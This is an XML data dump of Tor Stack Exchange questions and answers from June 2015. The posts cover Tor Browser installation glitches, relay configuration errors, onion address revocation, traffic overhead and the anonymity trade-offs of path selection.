  <row Id="6973" PostTypeId="1" CreationDate="2015-06-09T05:12:48.307" Score="1" ViewCount="951" Body="&lt;p&gt;I can not change the language as I have no way of reading anything. the setup looks like my old firefox setup, but icons do not match up so I can't guess which icon matches to language!!&#xA;the language of my windows 7 is english for everything (keyboard, locale, etc)&#xA;but the language of tor is IIIII IIII II  IIIII. III.&lt;/p&gt;&#xA;&lt;p&gt;I have taken screenshots. I re-downloaded from &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en#downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/projects/torbrowser.html.en#downloads&lt;/a&gt; (windows ver4.5.1) with the same results. I will try installing to another directory.&lt;/p&gt;&#xA;&lt;p&gt;tor browser language&lt;/p&gt;&#xA;&lt;p&gt;here is an example of the language issue I am having with tor browser. updated browser by guessing which buttons were what. now at version 4.5.2&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TlWdI.gif&quot; alt=&quot;tor browser language&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried installing to a different directory. same problem with language.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UE6tu.gif&quot; alt=&quot;diff dir install&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;running windows 7, 32 bit, OKAYfreedom (turned off)&lt;/p&gt;&#xA;" OwnerUserId="7612" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-07-02T18:09:36.077" Title="I download the english tor for 32bit windows. I install tor. I cannot use tor as it has no language, just llllllllll lll llllll lll. huh?" Tags="|tor-browser-bundle|configuration|help|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6974" PostTypeId="1" CreationDate="2015-06-09T07:07:39.163" Score="2" ViewCount="817" Body="&lt;p&gt;I'm using Windows.&#xA;Whats the best way to securely tunnel and use SSH though Tor, could you guide me to a right direction? I cannot risk stuffing this up and I cannot leak my real IP address, I'm using a VPN just in case.&lt;/p&gt;&#xA;" OwnerUserId="7614" LastEditorUserId="88" LastEditDate="2015-06-09T13:21:08.290" LastActivityDate="2015-06-12T08:03:44.870" Title="How do I tunnel SSH though tor(windows)" Tags="|windows|vpn|ssh|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6975" PostTypeId="2" ParentId="6957" CreationDate="2015-06-09T08:43:32.327" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://TorServers.net&quot; rel=&quot;nofollow&quot;&gt;TorServers.net&lt;/a&gt;  has an excellent &lt;a href=&quot;https://www.torservers.net/wiki/setup/server&quot; rel=&quot;nofollow&quot;&gt;wiki entry on setting up exit relays&lt;/a&gt;. I'll write some additional hints below:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You should make sure that you have a &quot;real&quot; 100MB/s connection. Several providers tell you that your server uses such a connection, but share it among several servers. So you won't reach the full 100MB/s.&lt;/li&gt;&#xA;&lt;li&gt;In the case of OVH you should be aware that they accept Tor relays, but claim to eventually shut them down (probably when they notice abuse, see &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/GoodBadISPs#France&quot; rel=&quot;nofollow&quot;&gt;GoodBadISPs at Tor's wiki&lt;/a&gt;. Currently your relay is listed as a non-exit, so everything should be fine.&lt;/li&gt;&#xA;&lt;li&gt;According to the Globe page, your relay is only two days old. It takes some time until it reaches the full bandwidth.&lt;/li&gt;&#xA;&lt;li&gt;Setting the &lt;code&gt;DirPort&lt;/code&gt; option and thus sharing directory data might help to attract more bandwidth.&lt;/li&gt;&#xA;&lt;li&gt;If you have a system with multiple cores, it is recommended to set up one Tor process per core. This uses more bandwidth and utilizes the CPUs better. See the TorServers wiki entry above.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-06-09T08:43:32.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6976" PostTypeId="1" CreationDate="2015-06-09T11:28:49.017" Score="3" ViewCount="442" Body="&lt;p&gt;I have been trying to test it out, I've changed the &lt;code&gt;ORPort&lt;/code&gt; and &lt;code&gt;DirPort&lt;/code&gt; and forwarded them on the router but I keep getting the following messages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pi@raspberrypi ~ $ tail -f /var/log/tor/logled--see warnings above.&#xA;tail: cannot open `/var/log/tor/log' for reading: No such file or directory&#xA;pi@raspberrypi ~ $ sudo service tor restart&#xA;[ ok ] Stopping tor daemon...done (not running - there is no /var/run/tor/tor.pid).&#xA;[....] Starting tor daemon...Jun 09 11:17:47.968 [warn] Could not bind to 127.0.0.1:9050: Cannot assign requested address&#xA;Jun 09 11:17:47.970 [warn] Could not bind to 127.0.0.1:9051: Cannot assign requested address&#xA;Jun 09 11:17:47.979 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Jun 09 11:17:47.981 [err] Reading config failed--see warnings above.&#xA;failed.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I get it working and is it even advisable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Lizbeth I tried to change sockport to 0 and this the error I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FAIL] Checking if tor configuration is valid ... failed!gi.com.au&#xA;Jun 10 16:54:12.724 [notice] Tor v0.2.4.27 (git-412e3f7dc9c6c01a) running on Linux with Libevent 2.0.19-stable and OpenSSL 1.0.1e.&#xA;Jun 10 16:54:12.726 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Jun 10 16:54:12.727 [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;Jun 10 16:54:12.729 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Jun 10 16:54:12.778 [warn] Failed to parse/validate config: Unknown option 'SockPort'.  Failing.&#xA;Jun 10 16:54:12.788 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7586" LastEditorUserId="14292" LastEditDate="2017-05-03T22:46:08.497" LastActivityDate="2017-05-03T22:46:08.497" Title="Is it possible to run a second tor relay on the same LAN?" Tags="|configuration|relays|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6978" PostTypeId="1" CreationDate="2015-06-10T00:09:43.313" Score="0" ViewCount="670" Body="&lt;p&gt;&lt;a href=&quot;https://tox.im&quot; rel=&quot;nofollow&quot;&gt;Tox&lt;/a&gt; is an open-source protocol for encrypted chat. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not anonymous. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My research lead me here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/irungentoo/toxcore/issues/356&quot; rel=&quot;nofollow&quot;&gt;secure communication needs to be anonymous #356&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I use Tor for this? &lt;/p&gt;&#xA;" OwnerUserId="7608" LastEditorUserId="112" LastEditDate="2015-06-13T09:14:17.257" LastActivityDate="2015-06-13T09:14:17.257" Title="Can I use Tor to make Tox chats anonymous?" Tags="|chat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6980" PostTypeId="2" ParentId="6978" CreationDate="2015-06-10T01:13:17.000" Score="1" Body="&lt;p&gt;Tor is designed to protect your network communications. While you can run a chat system over Tor, it can't defend against accidental application leaks. You'd have to fully review the application itself to make sure. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-10T01:13:17.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6981" PostTypeId="2" ParentId="6965" CreationDate="2015-06-10T01:14:26.120" Score="0" Body="&lt;p&gt;Just delete the directory with the private key/host name files and restart TOR to get a new address&lt;/p&gt;&#xA;" OwnerUserId="3213" LastActivityDate="2015-06-10T01:14:26.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6983" PostTypeId="1" AcceptedAnswerId="6987" CreationDate="2015-06-10T07:22:18.317" Score="2" ViewCount="200" Body="&lt;p&gt;I'm doing some research on Tor for a paper and stumbled upon this section on the Tor FAQ page, where it says how to choose or exclude certain nodes from your circuit. Below it says that it is not recommended to do this, but not explicitly why.&#xA;Here's the link:&#xA;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#ChooseEntryExit&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#ChooseEntryExit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that you can be distinguished from other users more easily if certain relays are constantly avoided. But that would require extensive statistical traffic analysis, wouldn't it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there another way that I fail to see?&lt;/p&gt;&#xA;" OwnerUserId="7619" LastActivityDate="2015-06-10T12:43:22.273" Title="Why exactly is it not recommended to exclude relays?" Tags="|configuration|relays|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6984" PostTypeId="1" AcceptedAnswerId="6986" CreationDate="2015-06-10T07:55:39.607" Score="0" ViewCount="50" Body="&lt;p&gt;I know it will start and connect but the fingerprint is the same.. does that matter?&lt;/p&gt;&#xA;" OwnerUserId="7586" LastActivityDate="2015-06-10T12:24:58.713" Title="If I copy my Tor relay image for a friend does it help?" Tags="|relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6985" PostTypeId="1" CreationDate="2015-06-10T09:25:36.603" Score="1" ViewCount="1883" Body="&lt;p&gt;I have downloaded torbrowser-install-4.5.1_en-US.exe on my Windows XP based computer and when I double-click on it nothing happens. No error messages, no window, nothing...&#xA;I have already installed torbrowser previous releases (I'm currently using v4.0.8) but I have never encoutered such problem.&#xA;I have also tried another package (torbrowser-install-4.5.1_fr.exe) but with the same effects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if someone could help me, it would be kind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7620" LastActivityDate="2015-11-24T08:51:40.003" Title="torbrowser-install-4.5.1 installation problem on Windows XP" Tags="|tor-browser-bundle|help|support|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6986" PostTypeId="2" ParentId="6984" CreationDate="2015-06-10T12:24:58.713" Score="1" Body="&lt;p&gt;Yes that matters. The fingerprint is what Tor uses to build reputation (e.g. flags). I'm not sure what the Tor network would do if it found two nodes with the same fingerprint, but in any case, clients using your relays would not be able to differentiate between the two systems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to help your lazy friend, image your relay, delete all the files in the Tor directory, and modify the name of the relay in the torrc file. When the service starts for the first time, it will re-generate the keys under a different name but be functionally the same. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-10T12:24:58.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6987" PostTypeId="2" ParentId="6983" CreationDate="2015-06-10T12:43:22.273" Score="0" Body="&lt;p&gt;The idea is that you're subjecting yourself to a partitioning attack where your path selection is different than most other Tor clients and one of the anonymity benefits of the Tor Network is the disparate potential network locations. In a long enough time spectrum and a consistent enough black list configuration, it may be possible to correlate your circuit choices if the attacker is able to monitor the connections. The attack (where the client partitions herself resulting in a compromised), AFAIK, has never been shown but the warning is there because there is an unknown potential. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would not be a simple attack to employ but you can imagine an extreme case  where you've configured your client to only use the same 3 nodes for all circuit attempts. In this case if your exit node was monitored, they may be able to fingerprint your personal traffic patterns and daily habits. This would be much more difficult if you used the full Tor Network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could imagine a scenario where someone wanting to target you can see your activity on the exit, compromise your middle node by attacking it, and in-turn, uncover your entry. An attacker wouldn't take the effort to do this if the entire Tor Network was used because it would be statistically unlikely that you'd ever use that same set of circuits again. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-10T12:43:22.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6989" PostTypeId="2" ParentId="6976" CreationDate="2015-06-10T12:53:26.453" Score="0" Body="&lt;p&gt;You've changed ORport and DirPort but you haven't changed SOCKSport. By default it listens on port 9050/TCP so you'll need to change this. I recommending setting it to 0 to disable it completely. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-10T12:53:26.453" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6996" PostTypeId="2" ParentId="6965" CreationDate="2015-06-12T11:12:53.830" Score="1" Body="&lt;p&gt;You can't revoke a .onion address in the same sense like an TLS certificate. The .onion address is computed from the identity key each relay maintains (see &lt;a href=&quot;https://tor.stackexchange.com/a/1285/88&quot;&gt;answer to &quot;How are domain names created&quot;&lt;/a&gt;). So you compute the name on your machine. If you want to stop your hidden service and &quot;de-register&quot; the name, it is sufficient to safely delete the directory where the key of your hidden service lives (look for &lt;code&gt;HiddenServiceDir&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone wants to run a hidden service with the same onion address you used before, this person must be able to produce the same key as yours this person will be able to &quot;register&quot; the same onion name. The key is created from random numbers. So the person must produce the same random number (plus some other values) as you used before. The chance that this happens is negligible. To be specific: You'll need 2^79 tries to find the correct key. Good password can test a billion words per second. I assume  that they are also able to produce and test this many keys. Wolfram Alpha can calculate the time it takes: &lt;a href=&quot;http://www.wolframalpha.com/input/?i=2%5E79%2F1000000000%20sec&quot; rel=&quot;nofollow&quot;&gt;~2*10^7 years= 20,000,000 years&lt;/a&gt;. So it'd take quite some time. ;)&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-06-12T11:12:53.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6998" PostTypeId="2" ParentId="6496" CreationDate="2015-06-12T17:03:26.973" Score="6" Body="&lt;p&gt;It's running in the background. For console output, add &lt;code&gt;| more&lt;/code&gt; to the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --hash-password &quot;Password&quot; | more&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I recommend new users to go with &lt;code&gt;Vidalia&lt;/code&gt; from &lt;a href=&quot;https://people.torproject.org/~erinn/vidalia-standalone-bundles/&quot; rel=&quot;noreferrer&quot; title=&quot;Vidalia standalone bundles&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7638" LastActivityDate="2015-06-12T17:03:26.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6999" PostTypeId="1" CreationDate="2015-06-12T20:28:58.517" Score="1" ViewCount="2130" Body="&lt;p&gt;Let's say I visit some page via Chrome with in/out packages at the level of 10MB. &#xA;Could we know (theoretically) how the traffic volume will be affected if I visit the same site via Tor? Will Tor usage increase the traffic volumes my PC sends? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is related to internet usage limited to particular volume which I cannot exceed.&lt;/p&gt;&#xA;" OwnerUserId="7640" LastActivityDate="2019-05-04T20:29:49.897" Title="Does Tor usage increase the traffic volume compared to other browsers?" Tags="|traffic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7000" PostTypeId="2" ParentId="6999" CreationDate="2015-06-12T22:01:03.043" Score="1" Body="&lt;p&gt;Tor usage will increase your traffic.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When you're using Tor, you'll need to download information about all Tor relays (directory information). This list of all relays is downloaded when you start Tor Browser for the first time and updated on a regular basis. You won't have this kind of traffic on a non-Tor connection.&lt;/li&gt;&#xA;&lt;li&gt;Tor uses encryption for all internal connections. So each request from and to your computer is three times encrypted. Also this encryption step will add some bytes of overhead.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So there is some more data transmitted when you're using Tor. However I'd assume that this additional data are only a few percent of your overall traffic. So if you're browsing 3 to 4 websites more (like CNN, WaPo etc.) this will probably consume more traffic than the additional Tor traffic does.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-06-12T22:01:03.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7001" PostTypeId="1" AcceptedAnswerId="7016" CreationDate="2015-06-13T09:50:21.897" Score="0" ViewCount="388" Body="&lt;p&gt;I am running a middle relay on a raspberry pi b+ its been up for about two weeks now and until last night was averaging 50MB downloads a day. Now its finally sped up, hope im not doing something wrong my relay has HSDIR tag on it not sure what that means.&lt;/p&gt;&#xA;" OwnerUserId="7586" LastActivityDate="2016-04-01T02:33:51.803" Title="I have 1635 inbound and one outbound connection on my relay is that normal?" Tags="|relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7002" PostTypeId="2" ParentId="6965" CreationDate="2015-06-13T20:56:47.213" Score="1" Body="&lt;p&gt;There is no direct way to revoke an onion address, because there is no registration process for the onion address.  If the key is stolen (via malware infestation, for example), the key is always going to work and will always have the same address even if you're not the one who possesses it anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are alternative revocation schemes out there, such as RevokeSSL (which uses Bitcoin to confirm and revoke an X.509 certificate), and these schemes could perhaps be useful to bolt on for a means of notifying that the key is no longer under the control of its original holder, or is no longer acceptable for whatever reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be best if they were integrated into the Tor software itself, but failing that they could be integrated into client software which uses Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a comment (by Jeff Burdges) on another answer, which says that there is a largely-specified format for a third-party revocation message, but those third-party revocation messages have not been implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, though, the .onion address will eventually expire from the lookup servers.  At that point, it will only be able to be reregistered with the lookup servers if another keypair is generated that has the same public key hash.  That's the only real effect of &quot;revoking&quot; a .onion address anyway.&lt;/p&gt;&#xA;" OwnerUserId="7641" LastEditorUserId="7641" LastEditDate="2015-06-19T12:53:02.453" LastActivityDate="2015-06-19T12:53:02.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7003" PostTypeId="1" CreationDate="2015-06-14T00:23:12.193" Score="1" ViewCount="107" Body="&lt;p&gt;I've set up my relay on my PC but I'm trying to create a relay on a raspberry pi that I can leave powered on at all times but when I start the daemon I get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[notice] Your DNS provider gave an answer for 'xxxx.invalid', which is not supposed to exist. Apparently they are highjacking DNS failures. Trying to correct for this. We've noticed 1 possibly bad address so far.&lt;br /&gt;&#xA;     [notice] Your DNS provider has given 'xx.xxx.xxx.xx' as an answer for 10 different invalid addresses. Apparently they are hijacking DNS failures. I'll try to correct for this by treating future occurrences of 'xx.xxx.xxx.xx' as 'not found'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My torrc file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 443&#xA;ExitPolicy Reject &quot;:&quot;&#xA;Nickname xxxx&#xA;RelayBandwidthRate 300KB&#xA;RelayBandwidtBurst 500KB&#xA;ControlPort 9051&#xA;CookieAuthentication 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do have another tor relay running, but I don't think that's the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ports are definitely open, so I'm not sure what the issue is and any guidance would be extremely helpful.&lt;/p&gt;&#xA;" OwnerUserId="7282" LastEditorUserId="88" LastEditDate="2015-08-13T08:50:06.063" LastActivityDate="2015-10-12T09:09:30.183" Title="DNS have an answer that isn't supposed to exist" Tags="|dns|raspberry-pi|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7004" PostTypeId="2" ParentId="7003" CreationDate="2015-06-14T05:03:26.037" Score="1" Body="&lt;p&gt;There is no problem as you are not a exit node. Tor will check if your DNS server was hijacking DNS failures, through looking up random domain names and see if it always gets the same address (generally an error page), even if you are not an exit node. Also Tor will correct DNS hijackings itself, so nothing needs to be done.&lt;br&gt;&#xA;Not about raspberry-pi either.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2015-06-14T05:03:26.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7006" PostTypeId="2" ParentId="3370" CreationDate="2015-06-14T07:00:15.737" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/shutting-down-vidalia-geoip-mapping-server&quot; rel=&quot;nofollow&quot;&gt;geoip.vidalia-project.net has been shut down.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7643" LastActivityDate="2015-06-14T07:00:15.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7007" PostTypeId="1" CreationDate="2015-06-14T09:16:02.537" Score="1" ViewCount="55" Body="&lt;p&gt;Today I updated Tor to version 0.2.6.9. As it was updating, I got an error like &quot;bind to address failed&quot;. After that, I can't start, stop or anything.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is installed on a server running centos and Tor is installed via the Tor Project official repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cr92r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried re-installing but that didn't change anything.&lt;/p&gt;&#xA;" OwnerUserId="7645" LastEditorUserId="350" LastEditDate="2015-07-08T15:30:13.047" LastActivityDate="2015-07-08T15:30:13.047" Title="Tor not working after update to Tor 0.2.6.9" Tags="|onion-services|" AnswerCount="0" CommentCount="3" ClosedDate="2015-09-22T11:59:41.370" ContentLicense="CC BY-SA 3.0" />
  <row Id="7009" PostTypeId="1" AcceptedAnswerId="7010" CreationDate="2015-06-14T16:14:24.393" Score="1" ViewCount="67" Body="&lt;p&gt;Suppose you use an Onion Proxy to connect to the onion network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it any safer for your traffic to travel through ten onion routers than two onion routers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured you need at least two onion router hops because otherwise the exit OR both knows about the origin of the content and can see the content.&lt;/p&gt;&#xA;" OwnerUserId="7647" OwnerDisplayName="Syd Kerckhove" LastEditorUserId="88" LastEditDate="2015-06-14T22:49:52.007" LastActivityDate="2015-06-14T22:49:52.007" Title="Is there a valuable difference between two OR hops and ten?" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7010" PostTypeId="2" ParentId="7009" CreationDate="2015-06-14T17:47:28.857" Score="2" Body="&lt;p&gt;There is a value to increasing the number of TOR nodes you use, it just depends how paranoid you are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take for example a scenario in which some large operation is running a big number of nodes, in such a way that they manage to occupy 20% of the tor network. Since you randomly choose the nodes you use, if you use only two nodes, there is a 4% chance that both of them are controlled by that organization (20% * 20%), using more will decrease that chance. For example, if you use 10 than the chances all nodes are controlled by that organization is 0.2^10, which is much lower. However, you will suffer a much greater latency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you are that paranoid, you should also take into considaration that there are other ways to track your tor traffic other than owning all the nodes you go through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, one can track your behaviour when surfing through the TOR network (mouse movment speed, distance between keystrokes) to the point it is unique to your behaviour and than compare it to your surfing behaviour without the TOR network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to track the timing or size of packets when packets go in to the network and compare it to packets that go out. TOR has ways to help obfuscate it by batching packets together before sending them to their next destination, but again, that has an effect on your latency as well.&lt;/p&gt;&#xA;" OwnerDisplayName="Tom Klino" LastActivityDate="2015-06-14T17:47:28.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7011" PostTypeId="1" CreationDate="2015-06-15T07:02:15.223" Score="1" ViewCount="87" Body="&lt;p&gt;As a website owner, I can tell that you are using Tor service once I match your location with the known Tor ExitNode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows me as the website owner ( think Google, Facebook, Amazon, eBay) to block all the traffic from Tor, and thus making Tor less usable for the the mass market, which is not so good for the adoption rate of Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any specific reason why the Tor designer would want to make the ExitNode public?&lt;/p&gt;&#xA;" OwnerUserId="7624" LastActivityDate="2015-06-15T13:42:53.080" Title="Why would Tor make the ExitNode known?" Tags="|tor-browser-bundle|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7013" PostTypeId="2" ParentId="6965" CreationDate="2015-06-15T11:47:14.450" Score="1" Body="&lt;p&gt;Think for a moment about what it actually means to revoke a private key in X.509 PKI. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Originally, you created a key pair, and you submit the public key to a certificate authority (CA) for key signing in certificate signing request (CSR). The CA verifies you owned your domain and probably your identity as well, and sign your public key with their private key, this produces a certificate, which is a file that attests that the CA are satisfied that you fulfill their verification criteria. The certificate's authenticity can be verified by anyone with the CA's public key. Within the certificate contains, among others, your public key, your domain and identity information, and a link to the certificate revocation list (CRL).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When users visits your site, it receives your certificate. The user trusts your certificate because the user trusts the CA, the user checks that the certificate is signed by the CA and by checking the CRL the user also knows that the CA still stand behind their attestation of your certificate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you revoke your certificate, what happens is that your CA publishes a document in the CRL that tells users to stop trusting the certificate. What is revoked here is the CA's attestation of your certificate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Tor Hidden Service, there's no equivalence to a CA's attestation of your domain ownership. A Tor's key pair is akin to a self signed certificate. A Tor Hidden Service Key self-attests that it is who it says it is. Revoking a Tor Hidden Service Key is done by creating a signed document that tells other users not to trust the key used to sign the document. In essence, publishing a document that the hidden service is closed would suffice this requirement.&lt;/p&gt;&#xA;" OwnerUserId="7649" LastActivityDate="2015-06-15T11:47:14.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7014" PostTypeId="2" ParentId="7011" CreationDate="2015-06-15T13:42:53.080" Score="1" Body="&lt;p&gt;In the past (and often still the case), if there was a problem originating from an IP, an untrained law enforcement officer would track down the IP, find who owned the IP, and contact them about whatever activity they were investigating. The IP owner would respond that they are a Tor exit node and it is not their responsibility. Neither the Tor ExitNode Operator nor the LEO would want this conversation to occur. This process is time consuming for law enforcement and would put a bad taste about Tor in their mouth; creating an us vs them between Tor and authorities. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the Tor Project does outreach to authorities to educate and show them how to find if an IP was an ExitNode at a given point in time so they can speed up their investigation without focusing questions and harassment on the Tor node operators. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, there is a file that your client downloads at regular intervals called the consensus document that contains the entire list of ExitNodes available on the network including what their exit policy is. Your client will make connections to an ExitNode based on their exit policy and what type of service you're attempting to connect to (e.g. HTTPS on port 443). In essence, everyone has access to this list whether they know it or not. Building a web service around it doesn't really change anything. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-15T13:42:53.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7016" PostTypeId="2" ParentId="7001" CreationDate="2015-06-15T13:52:52.743" Score="0" Body="&lt;p&gt;You're not providing enough information to answer the question but you can always take a look at the status of your relay at &lt;a href=&quot;https://globe.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Globe&lt;/a&gt; or &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Atlas&lt;/a&gt;. Familiarize yourself with what each of the &lt;a href=&quot;https://tor.stackexchange.com/questions/423/what-are-good-explanations-for-relay-flags&quot;&gt;flags&lt;/a&gt; mean, that will help you diagnose if there are issues. HSDir means that you are hosting a portion of the hidden service distributed hash table or the Hidden Service Directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also make manual circuits to confirm that you can indeed use your relay as a node. This is pretty easy if you're using &lt;a href=&quot;https://stem.torproject.org/tutorials/to_russia_with_love.html#custom-path-selection&quot; rel=&quot;nofollow noreferrer&quot;&gt;STEM&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-06-15T13:52:52.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7018" PostTypeId="1" CreationDate="2015-06-15T17:18:26.913" Score="1" ViewCount="119" Body="&lt;p&gt;I have had a stalking problem for several years.  My stalker has started setting up random Facebook accounts and sending me 'other' messages; I never respond, but I think that, just be creating that chat window, he is able to search my IP address and find out what city I am living in. I have downloaded torbrowser. If I use it to connect log-in to Facebook, will that hide my IP from detection?&lt;/p&gt;&#xA;" OwnerUserId="7653" LastActivityDate="2015-06-15T17:24:08.473" Title="Is tor the solution to being stalked through Facebook?" Tags="|anonymity|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
